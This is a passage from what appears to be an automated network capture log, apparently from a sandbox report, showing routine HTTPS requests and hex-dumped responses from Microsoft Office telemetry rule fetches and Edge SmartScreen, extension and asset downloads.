2024-10-29 19:35:19 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:19 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:19 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:19 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 3bd815fc-c01e-0066-6070-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193519Z-16849878b78wv88bk51myq5vxc00000007b0000000002mkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:35:19 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.5	49897	4.150.155.223	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:19 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoidnJOQzc2cE1ySExtUzZsS1NSdzREZz09IiwgImhhc2giOiJodzlWYTRYb2dWcz0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-29 19:35:19 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-29 19:35:19 UTC	248	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:19 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-10-29 19:35:19 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.5	49898	152.195.19.97	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:19 UTC	620	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730835315&P2=404&P3=2&P4=iHpEirIEKdVfkMEYxGnzFbLisGEFjuVR7QfN%2fOs3SdkyvyjERWvE7%2fFJ1pN%2fxhwpgpBNQTv%2bUYZ6qFKJ9MkJkA%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: S/o+molOvxcZRA3QxNOIAd Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 19:35:20 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 10157051 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Tue, 29 Oct 2024 19:35:20 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: 5880bbaa-f139-48dd-942e-a0adb04a9f4c MS-CV: Grb0Lx3ldaAxoNaTt1rCGY.0 MS-RequestId: 803a6f2d-d0c7-4dfc-9472-668c4d649ec3 Server: ECAcc (dac/9C9C) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-10-29 19:35:20 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	49899	13.107.246.57	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:20 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 19:35:20 UTC	576	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:20 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 1fa8ccbb-501e-0019-2a90-28446f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T193520Z-16849878b787wpl5wqkt5731b400000007t00000000081rw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:35:20 UTC	15808	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-10-29 19:35:20 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-10-29 19:35:20 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-10-29 19:35:20 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-10-29 19:35:20 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:20 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:20 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: e1cf8e51-d01e-00a1-6880-2935b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193520Z-r197bdfb6b4gx6v9pg74w9f47s000000093g000000007b7h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:20 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:20 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:20 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:20 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 8468344e-601e-0002-45e8-28a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193520Z-r197bdfb6b4bq7nf8dgr5rzeq4000000025g00000000m0qb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:20 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:20 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:20 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:20 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 903d1aff-701e-0050-019c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193520Z-16849878b78hh85qc40uyr8sc8000000078g00000000egbn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:20 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	49903	13.107.246.57	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:20 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 19:35:21 UTC	564	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:20 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: fef38195-f01e-0036-4439-2ac555000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T193520Z-15b8d89586fnsf5zkvx8tfb0zc000000026g000000004dfa Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
